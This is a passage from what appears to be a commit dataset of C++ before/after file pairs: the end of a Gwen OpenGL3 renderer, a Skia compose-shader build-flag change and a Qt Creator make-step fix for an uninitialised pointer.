data);\r\n\r\n\t\t\tunsigned int iOffset = (y * pTexture->width + x) * 4;\r\n\r\n\t\t\tGwen::Color c;\r\n\t\t\tc.r = data[0 + iOffset];\r\n\t\t\tc.g = data[1 + iOffset];\r\n\t\t\tc.b = data[2 + iOffset];\r\n\t\t\tc.a = data[3 + iOffset];\r\n\r\n\t\t\t\/\/\r\n\t\t\t\/\/ Retrieving the entire texture for a single pixel read\r\n\t\t\t\/\/ is kind of a waste - maybe cache this pointer in the texture\r\n\t\t\t\/\/ data and then release later on? It's never called during runtime\r\n\t\t\t\/\/ - only during initialization.\r\n\t\t\t\/\/\r\n\t\t\tfree( data );\r\n\t\t\tcheckGLError();\r\n\r\n\t\t\treturn c;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::InitializeContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::ShutdownContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::PresentContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::ResizedContext( Gwen::WindowProvider* pWindow, int w, int h )\r\n\t\t{\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::BeginContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t\tbool OpenGL3::EndContext( Gwen::WindowProvider* pWindow )\r\n\t\t{\r\n\t\t\treturn true;\r\n\t\t}\r\n\r\n\t}\r\n}\r\n\r\n#endif\r\n<|endoftext|>"}
{"text":"<commit_before>\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"SkComposeShader.h\"\n#include \"SkColorFilter.h\"\n#include \"SkColorPriv.h\"\n#include \"SkColorShader.h\"\n#include \"SkReadBuffer.h\"\n#include \"SkWriteBuffer.h\"\n#include \"SkXfermode.h\"\n#include \"SkString.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkComposeShader::SkComposeShader(SkShader* sA, SkShader* sB, SkXfermode* mode) {\n    fShaderA = sA;  sA->ref();\n    fShaderB = sB;  sB->ref();\n    \/\/ mode may be null\n    fMode = mode;\n    SkSafeRef(mode);\n}\n\nSkComposeShader::~SkComposeShader() {\n    SkSafeUnref(fMode);\n    fShaderB->unref();\n    fShaderA->unref();\n}\n\nsize_t SkComposeShader::contextSize() const {\n    return sizeof(ComposeShaderContext) + fShaderA->contextSize() + fShaderB->contextSize();\n}\n\nclass SkAutoAlphaRestore {\npublic:\n    SkAutoAlphaRestore(SkPaint* paint, uint8_t newAlpha) {\n        fAlpha = paint->getAlpha();\n        fPaint = paint;\n        paint->setAlpha(newAlpha);\n    }\n\n    ~SkAutoAlphaRestore() {\n        fPaint->setAlpha(fAlpha);\n    }\nprivate:\n    SkPaint*    fPaint;\n    uint8_t     fAlpha;\n};\n#define SkAutoAlphaRestore(...) SK_REQUIRE_LOCAL_VAR(SkAutoAlphaRestore)\n\nSkFlattenable* SkComposeShader::CreateProc(SkReadBuffer& buffer) {\n    SkAutoTUnref<SkShader> shaderA(buffer.readShader());\n    SkAutoTUnref<SkShader> shaderB(buffer.readShader());\n    SkAutoTUnref<SkXfermode> mode(buffer.readXfermode());\n    if (!shaderA.get() || !shaderB.get()) {\n        return nullptr;\n    }\n    return new SkComposeShader(shaderA, shaderB, mode);\n}\n\nvoid SkComposeShader::flatten(SkWriteBuffer& buffer) const {\n    buffer.writeFlattenable(fShaderA);\n    buffer.writeFlattenable(fShaderB);\n    buffer.writeFlattenable(fMode);\n}\n\ntemplate <typename T> void safe_call_destructor(T* obj) {\n    if (obj) {\n        obj->~T();\n    }\n}\n\nSkShader::Context* SkComposeShader::onCreateContext(const ContextRec& rec, void* storage) const {\n    char* aStorage = (char*) storage + sizeof(ComposeShaderContext);\n    char* bStorage = aStorage + fShaderA->contextSize();\n\n    \/\/ we preconcat our localMatrix (if any) with the device matrix\n    \/\/ before calling our sub-shaders\n    SkMatrix tmpM;\n    tmpM.setConcat(*rec.fMatrix, this->getLocalMatrix());\n\n    \/\/ Our sub-shaders need to see opaque, so by combining them we don't double-alphatize the\n    \/\/ result. ComposeShader itself will respect the alpha, and post-apply it after calling the\n    \/\/ sub-shaders.\n    SkPaint opaquePaint(*rec.fPaint);\n    opaquePaint.setAlpha(0xFF);\n\n    ContextRec newRec(rec);\n    newRec.fMatrix = &tmpM;\n    newRec.fPaint = &opaquePaint;\n\n    SkShader::Context* contextA = fShaderA->createContext(newRec, aStorage);\n    SkShader::Context* contextB = fShaderB->createContext(newRec, bStorage);\n    if (!contextA || !contextB) {\n        safe_call_destructor(contextA);\n        safe_call_destructor(contextB);\n        return nullptr;\n    }\n\n    return new (storage) ComposeShaderContext(*this, rec, contextA, contextB);\n}\n\nSkComposeShader::ComposeShaderContext::ComposeShaderContext(\n        const SkComposeShader& shader, const ContextRec& rec,\n        SkShader::Context* contextA, SkShader::Context* contextB)\n    : INHERITED(shader, rec)\n    , fShaderContextA(contextA)\n    , fShaderContextB(contextB) {}\n\nSkComposeShader::ComposeShaderContext::~ComposeShaderContext() {\n    fShaderContextA->~Context();\n    fShaderContextB->~Context();\n}\n\nbool SkComposeShader::asACompose(ComposeRec* rec) const {\n    if (rec) {\n        rec->fShaderA = fShaderA;\n        rec->fShaderB = fShaderB;\n        rec->fMode = fMode;\n    }\n    return true;\n}\n\n\n\/\/ larger is better (fewer times we have to loop), but we shouldn't\n\/\/ take up too much stack-space (each element is 4 bytes)\n#define TMP_COLOR_COUNT     64\n\nvoid SkComposeShader::ComposeShaderContext::shadeSpan(int x, int y, SkPMColor result[], int count) {\n    SkShader::Context* shaderContextA = fShaderContextA;\n    SkShader::Context* shaderContextB = fShaderContextB;\n    SkXfermode*        mode = static_cast<const SkComposeShader&>(fShader).fMode;\n    unsigned           scale = SkAlpha255To256(this->getPaintAlpha());\n\n#ifdef SK_BUILD_FOR_ANDROID\n    scale = 256;    \/\/ ugh -- maintain old bug\/behavior for now\n#endif\n\n    SkPMColor   tmp[TMP_COLOR_COUNT];\n\n    if (nullptr == mode) {   \/\/ implied SRC_OVER\n        \/\/ TODO: when we have a good test-case, should use SkBlitRow::Proc32\n        \/\/ for these loops\n        do {\n            int n = count;\n            if (n > TMP_COLOR_COUNT) {\n                n = TMP_COLOR_COUNT;\n            }\n\n            shaderContextA->shadeSpan(x, y, result, n);\n            shaderContextB->shadeSpan(x, y, tmp, n);\n\n            if (256 == scale) {\n                for (int i = 0; i < n; i++) {\n                    result[i] = SkPMSrcOver(tmp[i], result[i]);\n                }\n            } else {\n                for (int i = 0; i < n; i++) {\n                    result[i] = SkAlphaMulQ(SkPMSrcOver(tmp[i], result[i]),\n                                            scale);\n                }\n            }\n\n            result += n;\n            x += n;\n            count -= n;\n        } while (count > 0);\n    } else {    \/\/ use mode for the composition\n        do {\n            int n = count;\n            if (n > TMP_COLOR_COUNT) {\n                n = TMP_COLOR_COUNT;\n            }\n\n            shaderContextA->shadeSpan(x, y, result, n);\n            shaderContextB->shadeSpan(x, y, tmp, n);\n            mode->xfer32(result, tmp, n, nullptr);\n\n            if (256 != scale) {\n                for (int i = 0; i < n; i++) {\n                    result[i] = SkAlphaMulQ(result[i], scale);\n                }\n            }\n\n            result += n;\n            x += n;\n            count -= n;\n        } while (count > 0);\n    }\n}\n\n#if SK_SUPPORT_GPU\n\n#include \"effects\/GrConstColorProcessor.h\"\n#include \"effects\/GrXfermodeFragmentProcessor.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nconst GrFragmentProcessor* SkComposeShader::asFragmentProcessor(GrContext* context,\n                                                            const SkMatrix& viewM,\n                                                            const SkMatrix* localMatrix,\n                                                            SkFilterQuality fq) const {\n    \/\/ Fragment processor will only support SkXfermode::Mode modes currently.\n    SkXfermode::Mode mode;\n    if (!(SkXfermode::AsMode(fMode, &mode))) {\n        return nullptr;\n    }\n\n    switch (mode) {\n        case SkXfermode::kClear_Mode:\n            return GrConstColorProcessor::Create(GrColor_TRANSPARENT_BLACK,\n                                                 GrConstColorProcessor::kIgnore_InputMode);\n            break;\n        case SkXfermode::kSrc_Mode:\n            return fShaderB->asFragmentProcessor(context, viewM, localMatrix, fq);\n            break;\n        case SkXfermode::kDst_Mode:\n            return fShaderA->asFragmentProcessor(context, viewM, localMatrix, fq);\n            break;\n        default:\n            SkAutoTUnref<const GrFragmentProcessor> fpA(fShaderA->asFragmentProcessor(context,\n                                                        viewM, localMatrix, fq));\n            if (!fpA.get()) {\n                return nullptr;\n            }\n            SkAutoTUnref<const GrFragmentProcessor> fpB(fShaderB->asFragmentProcessor(context,\n                                                        viewM, localMatrix, fq));\n            if (!fpB.get()) {\n                return nullptr;\n            }\n            return GrXfermodeFragmentProcessor::CreateFromTwoProcessors(fpB, fpA, mode);\n    }\n}\n#endif\n\n#ifndef SK_IGNORE_TO_STRING\nvoid SkComposeShader::toString(SkString* str) const {\n    str->append(\"SkComposeShader: (\");\n\n    str->append(\"ShaderA: \");\n    fShaderA->toString(str);\n    str->append(\" ShaderB: \");\n    fShaderB->toString(str);\n    if (fMode) {\n        str->append(\" Xfermode: \");\n        fMode->toString(str);\n    }\n\n    this->INHERITED::toString(str);\n\n    str->append(\")\");\n}\n#endif\n<commit_msg>Use SK_BUILD_FOR_ANDROID_FRAMEWORK in compose<commit_after>\n\/*\n * Copyright 2006 The Android Open Source Project\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n\n#include \"SkComposeShader.h\"\n#include \"SkColorFilter.h\"\n#include \"SkColorPriv.h\"\n#include \"SkColorShader.h\"\n#include \"SkReadBuffer.h\"\n#include \"SkWriteBuffer.h\"\n#include \"SkXfermode.h\"\n#include \"SkString.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nSkComposeShader::SkComposeShader(SkShader* sA, SkShader* sB, SkXfermode* mode) {\n    fShaderA = sA;  sA->ref();\n    fShaderB = sB;  sB->ref();\n    \/\/ mode may be null\n    fMode = mode;\n    SkSafeRef(mode);\n}\n\nSkComposeShader::~SkComposeShader() {\n    SkSafeUnref(fMode);\n    fShaderB->unref();\n    fShaderA->unref();\n}\n\nsize_t SkComposeShader::contextSize() const {\n    return sizeof(ComposeShaderContext) + fShaderA->contextSize() + fShaderB->contextSize();\n}\n\nclass SkAutoAlphaRestore {\npublic:\n    SkAutoAlphaRestore(SkPaint* paint, uint8_t newAlpha) {\n        fAlpha = paint->getAlpha();\n        fPaint = paint;\n        paint->setAlpha(newAlpha);\n    }\n\n    ~SkAutoAlphaRestore() {\n        fPaint->setAlpha(fAlpha);\n    }\nprivate:\n    SkPaint*    fPaint;\n    uint8_t     fAlpha;\n};\n#define SkAutoAlphaRestore(...) SK_REQUIRE_LOCAL_VAR(SkAutoAlphaRestore)\n\nSkFlattenable* SkComposeShader::CreateProc(SkReadBuffer& buffer) {\n    SkAutoTUnref<SkShader> shaderA(buffer.readShader());\n    SkAutoTUnref<SkShader> shaderB(buffer.readShader());\n    SkAutoTUnref<SkXfermode> mode(buffer.readXfermode());\n    if (!shaderA.get() || !shaderB.get()) {\n        return nullptr;\n    }\n    return new SkComposeShader(shaderA, shaderB, mode);\n}\n\nvoid SkComposeShader::flatten(SkWriteBuffer& buffer) const {\n    buffer.writeFlattenable(fShaderA);\n    buffer.writeFlattenable(fShaderB);\n    buffer.writeFlattenable(fMode);\n}\n\ntemplate <typename T> void safe_call_destructor(T* obj) {\n    if (obj) {\n        obj->~T();\n    }\n}\n\nSkShader::Context* SkComposeShader::onCreateContext(const ContextRec& rec, void* storage) const {\n    char* aStorage = (char*) storage + sizeof(ComposeShaderContext);\n    char* bStorage = aStorage + fShaderA->contextSize();\n\n    \/\/ we preconcat our localMatrix (if any) with the device matrix\n    \/\/ before calling our sub-shaders\n    SkMatrix tmpM;\n    tmpM.setConcat(*rec.fMatrix, this->getLocalMatrix());\n\n    \/\/ Our sub-shaders need to see opaque, so by combining them we don't double-alphatize the\n    \/\/ result. ComposeShader itself will respect the alpha, and post-apply it after calling the\n    \/\/ sub-shaders.\n    SkPaint opaquePaint(*rec.fPaint);\n    opaquePaint.setAlpha(0xFF);\n\n    ContextRec newRec(rec);\n    newRec.fMatrix = &tmpM;\n    newRec.fPaint = &opaquePaint;\n\n    SkShader::Context* contextA = fShaderA->createContext(newRec, aStorage);\n    SkShader::Context* contextB = fShaderB->createContext(newRec, bStorage);\n    if (!contextA || !contextB) {\n        safe_call_destructor(contextA);\n        safe_call_destructor(contextB);\n        return nullptr;\n    }\n\n    return new (storage) ComposeShaderContext(*this, rec, contextA, contextB);\n}\n\nSkComposeShader::ComposeShaderContext::ComposeShaderContext(\n        const SkComposeShader& shader, const ContextRec& rec,\n        SkShader::Context* contextA, SkShader::Context* contextB)\n    : INHERITED(shader, rec)\n    , fShaderContextA(contextA)\n    , fShaderContextB(contextB) {}\n\nSkComposeShader::ComposeShaderContext::~ComposeShaderContext() {\n    fShaderContextA->~Context();\n    fShaderContextB->~Context();\n}\n\nbool SkComposeShader::asACompose(ComposeRec* rec) const {\n    if (rec) {\n        rec->fShaderA = fShaderA;\n        rec->fShaderB = fShaderB;\n        rec->fMode = fMode;\n    }\n    return true;\n}\n\n\n\/\/ larger is better (fewer times we have to loop), but we shouldn't\n\/\/ take up too much stack-space (each element is 4 bytes)\n#define TMP_COLOR_COUNT     64\n\nvoid SkComposeShader::ComposeShaderContext::shadeSpan(int x, int y, SkPMColor result[], int count) {\n    SkShader::Context* shaderContextA = fShaderContextA;\n    SkShader::Context* shaderContextB = fShaderContextB;\n    SkXfermode*        mode = static_cast<const SkComposeShader&>(fShader).fMode;\n    unsigned           scale = SkAlpha255To256(this->getPaintAlpha());\n\n#ifdef SK_BUILD_FOR_ANDROID_FRAMEWORK\n    \/\/ In the Android framework, make compose shader ignore the paint's alpha.\n    \/\/ This matches the old behavior. FIXME: Can we remove this difference?\n    scale = 256;\n#endif\n\n    SkPMColor   tmp[TMP_COLOR_COUNT];\n\n    if (nullptr == mode) {   \/\/ implied SRC_OVER\n        \/\/ TODO: when we have a good test-case, should use SkBlitRow::Proc32\n        \/\/ for these loops\n        do {\n            int n = count;\n            if (n > TMP_COLOR_COUNT) {\n                n = TMP_COLOR_COUNT;\n            }\n\n            shaderContextA->shadeSpan(x, y, result, n);\n            shaderContextB->shadeSpan(x, y, tmp, n);\n\n            if (256 == scale) {\n                for (int i = 0; i < n; i++) {\n                    result[i] = SkPMSrcOver(tmp[i], result[i]);\n                }\n            } else {\n                for (int i = 0; i < n; i++) {\n                    result[i] = SkAlphaMulQ(SkPMSrcOver(tmp[i], result[i]),\n                                            scale);\n                }\n            }\n\n            result += n;\n            x += n;\n            count -= n;\n        } while (count > 0);\n    } else {    \/\/ use mode for the composition\n        do {\n            int n = count;\n            if (n > TMP_COLOR_COUNT) {\n                n = TMP_COLOR_COUNT;\n            }\n\n            shaderContextA->shadeSpan(x, y, result, n);\n            shaderContextB->shadeSpan(x, y, tmp, n);\n            mode->xfer32(result, tmp, n, nullptr);\n\n            if (256 != scale) {\n                for (int i = 0; i < n; i++) {\n                    result[i] = SkAlphaMulQ(result[i], scale);\n                }\n            }\n\n            result += n;\n            x += n;\n            count -= n;\n        } while (count > 0);\n    }\n}\n\n#if SK_SUPPORT_GPU\n\n#include \"effects\/GrConstColorProcessor.h\"\n#include \"effects\/GrXfermodeFragmentProcessor.h\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nconst GrFragmentProcessor* SkComposeShader::asFragmentProcessor(GrContext* context,\n                                                            const SkMatrix& viewM,\n                                                            const SkMatrix* localMatrix,\n                                                            SkFilterQuality fq) const {\n    \/\/ Fragment processor will only support SkXfermode::Mode modes currently.\n    SkXfermode::Mode mode;\n    if (!(SkXfermode::AsMode(fMode, &mode))) {\n        return nullptr;\n    }\n\n    switch (mode) {\n        case SkXfermode::kClear_Mode:\n            return GrConstColorProcessor::Create(GrColor_TRANSPARENT_BLACK,\n                                                 GrConstColorProcessor::kIgnore_InputMode);\n            break;\n        case SkXfermode::kSrc_Mode:\n            return fShaderB->asFragmentProcessor(context, viewM, localMatrix, fq);\n            break;\n        case SkXfermode::kDst_Mode:\n            return fShaderA->asFragmentProcessor(context, viewM, localMatrix, fq);\n            break;\n        default:\n            SkAutoTUnref<const GrFragmentProcessor> fpA(fShaderA->asFragmentProcessor(context,\n                                                        viewM, localMatrix, fq));\n            if (!fpA.get()) {\n                return nullptr;\n            }\n            SkAutoTUnref<const GrFragmentProcessor> fpB(fShaderB->asFragmentProcessor(context,\n                                                        viewM, localMatrix, fq));\n            if (!fpB.get()) {\n                return nullptr;\n            }\n            return GrXfermodeFragmentProcessor::CreateFromTwoProcessors(fpB, fpA, mode);\n    }\n}\n#endif\n\n#ifndef SK_IGNORE_TO_STRING\nvoid SkComposeShader::toString(SkString* str) const {\n    str->append(\"SkComposeShader: (\");\n\n    str->append(\"ShaderA: \");\n    fShaderA->toString(str);\n    str->append(\" ShaderB: \");\n    fShaderB->toString(str);\n    if (fMode) {\n        str->append(\" Xfermode: \");\n        fMode->toString(str);\n    }\n\n    this->INHERITED::toString(str);\n\n    str->append(\")\");\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact:  Qt Software Information (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at qt-sales@nokia.com.\n**\n**************************************************************************\/\n\n#include \"makestep.h\"\n#include \"cmakeprojectconstants.h\"\n#include \"cmakeproject.h\"\n#include <extensionsystem\/pluginmanager.h>\n\n#include <utils\/qtcassert.h>\n#include <QtGui\/QFormLayout>\n#include <QtGui\/QGroupBox>\n#include <QtGui\/QCheckBox>\n#include <QtGui\/QLineEdit>\n#include <QtGui\/QListWidget>\n\nnamespace {\nbool debug = false;\n}\n\n\nusing namespace CMakeProjectManager;\nusing namespace CMakeProjectManager::Internal;\n\nMakeStep::MakeStep(CMakeProject *pro)\n    : AbstractProcessStep(pro), m_pro(pro)\n{\n}\n\nMakeStep::~MakeStep()\n{\n    delete m_buildParser;\n    m_buildParser = 0;\n}\n\nbool MakeStep::init(const QString &buildConfiguration)\n{\n    \/\/ TODO figure out the correct build parser\n    delete m_buildParser;\n    m_buildParser = 0;\n    QString buildParser = m_pro->buildParser(buildConfiguration);\n    QList<ProjectExplorer::IBuildParserFactory *> buildParserFactories =\n            ExtensionSystem::PluginManager::instance()->getObjects<ProjectExplorer::IBuildParserFactory>();\n\n    foreach (ProjectExplorer::IBuildParserFactory * factory, buildParserFactories)\n        if (factory->canCreate(buildParser)) {\n            m_buildParser = factory->create(buildParser);\n            break;\n        }\n    if (m_buildParser) {\n        connect(m_buildParser, SIGNAL(addToOutputWindow(const QString &)),\n                this, SIGNAL(addToOutputWindow(const QString &)),\n                Qt::DirectConnection);\n        connect(m_buildParser, SIGNAL(addToTaskWindow(const QString &, int, int, const QString &)),\n                this, SLOT(slotAddToTaskWindow(const QString &, int, int, const QString &)),\n                Qt::DirectConnection);\n        connect(m_buildParser, SIGNAL(enterDirectory(const QString &)),\n                this, SLOT(addDirectory(const QString &)),\n                Qt::DirectConnection);\n        connect(m_buildParser, SIGNAL(leaveDirectory(const QString &)),\n                this, SLOT(removeDirectory(const QString &)),\n                Qt::DirectConnection);\n    }\n\n    m_openDirectories.clear();\n    addDirectory(m_pro->buildDirectory(buildConfiguration));\n\n    setEnabled(buildConfiguration, true);\n    setWorkingDirectory(buildConfiguration, m_pro->buildDirectory(buildConfiguration));\n    setCommand(buildConfiguration, \"make\"); \/\/ TODO give full path here?\n    setArguments(buildConfiguration, value(buildConfiguration, \"buildTargets\").toStringList()); \/\/ TODO\n    setEnvironment(buildConfiguration, m_pro->environment(buildConfiguration));\n    return AbstractProcessStep::init(buildConfiguration);\n}\n\nvoid MakeStep::run(QFutureInterface<bool> &fi)\n{\n    AbstractProcessStep::run(fi);\n}\n\nQString MakeStep::name()\n{\n    return Constants::MAKESTEP;\n}\n\nQString MakeStep::displayName()\n{\n    return \"Make\";\n}\n\nProjectExplorer::BuildStepConfigWidget *MakeStep::createConfigWidget()\n{\n    return new MakeBuildStepConfigWidget(this);\n}\n\nbool MakeStep::immutable() const\n{\n    return true;\n}\n\nvoid MakeStep::stdOut(const QString &line)\n{\n    if (m_buildParser)\n        m_buildParser->stdOutput(line);\n    AbstractProcessStep::stdOut(line);\n}\n\nvoid MakeStep::stdError(const QString &line)\n{\n    if (m_buildParser)\n        m_buildParser->stdError(line);\n    AbstractProcessStep::stdError(line);\n}\n\nvoid MakeStep::slotAddToTaskWindow(const QString & fn, int type, int linenumber, const QString & description)\n{\n    QString filePath = fn;\n    if (!filePath.isEmpty() && !QDir::isAbsolutePath(filePath)) {\n        \/\/ We have no save way to decide which file in which subfolder\n        \/\/ is meant. Therefore we apply following heuristics:\n        \/\/ 1. Search for unique file in directories currently indicated as open by GNU make\n        \/\/    (Enter directory xxx, Leave directory xxx...) + current directory\n        \/\/ 3. Check if file is unique in whole project\n        \/\/ 4. Otherwise give up\n\n        filePath = filePath.trimmed();\n\n        QList<QFileInfo> possibleFiles;\n        foreach (const QString &dir, m_openDirectories) {\n            QFileInfo candidate(dir + QLatin1Char('\/') + filePath);\n            if (debug)\n                qDebug() << \"Checking path \" << candidate.filePath();\n            if (candidate.exists()\n                    && !possibleFiles.contains(candidate)) {\n                if (debug)\n                    qDebug() << candidate.filePath() << \"exists!\";\n                possibleFiles << candidate;\n            }\n        }\n        if (possibleFiles.count() == 0) {\n            if (debug)\n                qDebug() << \"No success. Trying all files in project ...\";\n            QString fileName = QFileInfo(filePath).fileName();\n            foreach (const QString &file, project()->files(ProjectExplorer::Project::AllFiles)) {\n                QFileInfo candidate(file);\n                if (candidate.fileName() == fileName) {\n                    if (debug)\n                        qDebug() << \"Found \" << file;\n                    possibleFiles << candidate;\n                }\n            }\n        }\n        if (possibleFiles.count() == 1)\n            filePath = possibleFiles.first().filePath();\n        else\n            qWarning() << \"Could not find absolute location of file \" << filePath;\n    }\n    emit addToTaskWindow(filePath, type, linenumber, description);\n}\n\nvoid MakeStep::addDirectory(const QString &dir)\n{\n    if (!m_openDirectories.contains(dir))\n        m_openDirectories.insert(dir);\n}\n\nvoid MakeStep::removeDirectory(const QString &dir)\n{\n    if (m_openDirectories.contains(dir))\n        m_openDirectories.remove(dir);\n}\n\n\nCMakeProject *MakeStep::project() const\n{\n    return m_pro;\n}\n\nbool MakeStep::buildsTarget(const QString &buildConfiguration, const QString &target) const\n{\n    return value(buildConfiguration, \"buildTargets\").toStringList().contains(target);\n}\n\nvoid MakeStep::setBuildTarget(const QString &buildConfiguration, const QString &target, bool on)\n{\n    QStringList old = value(buildConfiguration, \"buildTargets\").toStringList();\n    if (on && !old.contains(target))\n        setValue(buildConfiguration, \"buildTargets\", old << target);\n    else if(!on && old.contains(target))\n        setValue(buildConfiguration, \"buildTargets\", old.removeOne(target));\n}\n\n\/\/\n\/\/ CMakeBuildStepConfigWidget\n\/\/\nMakeBuildStepConfigWidget::MakeBuildStepConfigWidget(MakeStep *makeStep)\n    : m_makeStep(makeStep)\n{\n    QFormLayout *fl = new QFormLayout(this);\n    setLayout(fl);\n\n    m_targetsList = new QListWidget;\n    fl->addRow(\"Targets:\", m_targetsList);\n\n    \/\/ TODO update this list also on rescans of the CMakeLists.txt\n    CMakeProject *pro = m_makeStep->project();\n    foreach(const QString& target, pro->targets()) {\n        QListWidgetItem *item = new QListWidgetItem(target, m_targetsList);\n        item->setFlags(item->flags() | Qt::ItemIsUserCheckable);\n        item->setCheckState(Qt::Unchecked);\n    }\n    connect(m_targetsList, SIGNAL(itemChanged(QListWidgetItem*)), this, SLOT(itemChanged(QListWidgetItem*)));\n}\n\nvoid MakeBuildStepConfigWidget::itemChanged(QListWidgetItem *item)\n{\n    m_makeStep->setBuildTarget(m_buildConfiguration, item->text(), item->checkState() & Qt::Checked);\n}\n\nQString MakeBuildStepConfigWidget::displayName() const\n{\n    return \"Make\";\n}\n\nvoid MakeBuildStepConfigWidget::init(const QString &buildConfiguration)\n{\n    \/\/ TODO\n\n    \/\/ disconnect to make the changes to the items\n    disconnect(m_targetsList, SIGNAL(itemChanged(QListWidgetItem*)), this, SLOT(itemChanged(QListWidgetItem*)));\n    m_buildConfiguration = buildConfiguration;\n    int count = m_targetsList->count();\n    for(int i = 0; i < count; ++i) {\n        QListWidgetItem *item = m_targetsList->item(i);\n        item->setCheckState(m_makeStep->buildsTarget(buildConfiguration, item->text()) ? Qt::Checked : Qt::Unchecked);\n    }\n    \/\/ and connect again\n    connect(m_targetsList, SIGNAL(itemChanged(QListWidgetItem*)), this, SLOT(itemChanged(QListWidgetItem*)));\n}\n\n\/\/\n\/\/ MakeBuildStepFactory\n\/\/\n\nbool MakeBuildStepFactory::canCreate(const QString &name) const\n{\n    return (Constants::MAKESTEP == name);\n}\n\nProjectExplorer::BuildStep *MakeBuildStepFactory::create(ProjectExplorer::Project *project, const QString &name) const\n{\n    Q_ASSERT(name == Constants::MAKESTEP);\n    CMakeProject *pro = qobject_cast<CMakeProject *>(project);\n    Q_ASSERT(pro);\n    return new MakeStep(pro);\n}\n\nQStringList MakeBuildStepFactory::canCreateForProject(ProjectExplorer::Project * \/* pro *\/) const\n{\n    return QStringList();\n}\n\nQString MakeBuildStepFactory::displayNameForName(const QString & \/* name *\/) const\n{\n    return \"Make\";\n}\n\n<commit_msg>Fixes:    Uninitialized value of m_buildParser<commit_after>\/**************************************************************************\n**\n** This file is part of Qt Creator\n**\n** Copyright (c) 2009 Nokia Corporation and\/or its subsidiary(-ies).\n**\n** Contact:  Qt Software Information (qt-info@nokia.com)\n**\n** Commercial Usage\n**\n** Licensees holding valid Qt Commercial licenses may use this file in\n** accordance with the Qt Commercial License Agreement provided with the\n** Software or, alternatively, in accordance with the terms contained in\n** a written agreement between you and Nokia.\n**\n** GNU Lesser General Public License Usage\n**\n** Alternatively, this file may be used under the terms of the GNU Lesser\n** General Public License version 2.1 as published by the Free Software\n** Foundation and appearing in the file LICENSE.LGPL included in the\n** packaging of this file.  Please review the following information to\n** ensure the GNU Lesser General Public License version 2.1 requirements\n** will be met: http:\/\/www.gnu.org\/licenses\/old-licenses\/lgpl-2.1.html.\n**\n** If you are unsure which license is appropriate for your use, please\n** contact the sales department at qt-sales@nokia.com.\n**\n**************************************************************************\/\n\n#include \"makestep.h\"\n#include \"cmakeprojectconstants.h\"\n#include \"cmakeproject.h\"\n#include <extensionsystem\/pluginmanager.h>\n\n#include <utils\/qtcassert.h>\n#include <QtGui\/QFormLayout>\n#include <QtGui\/QGroupBox>\n#include <QtGui\/QCheckBox>\n#include <QtGui\/QLineEdit>\n#include <QtGui\/QListWidget>\n\nnamespace {\nbool debug = false;\n}\n\n\nusing namespace CMakeProjectManager;\nusing namespace CMakeProjectManager::Internal;\n\nMakeStep::MakeStep(CMakeProject *pro)\n    : AbstractProcessStep(pro), m_pro(pro), m_buildParser(0)\n{\n}\n\nMakeStep::~MakeStep()\n{\n    delete m_buildParser;\n    m_buildParser = 0;\n}\n\nbool MakeStep::init(const QString &buildConfiguration)\n{\n    \/\/ TODO figure out the correct build parser\n    delete m_buildParser;\n    m_buildParser = 0;\n    QString buildParser = m_pro->buildParser(buildConfiguration);\n    QList<ProjectExplorer::IBuildParserFactory *> buildParserFactories =\n            ExtensionSystem::PluginManager::instance()->getObjects<ProjectExplorer::IBuildParserFactory>();\n\n    foreach (ProjectExplorer::IBuildParserFactory * factory, buildParserFactories)\n        if (factory->canCreate(buildParser)) {\n            m_buildParser = factory->create(buildParser);\n            break;\n        }\n    if (m_buildParser) {\n        connect(m_buildParser, SIGNAL(addToOutputWindow(const QString &)),\n                this, SIGNAL(addToOutputWindow(const QString &)),\n             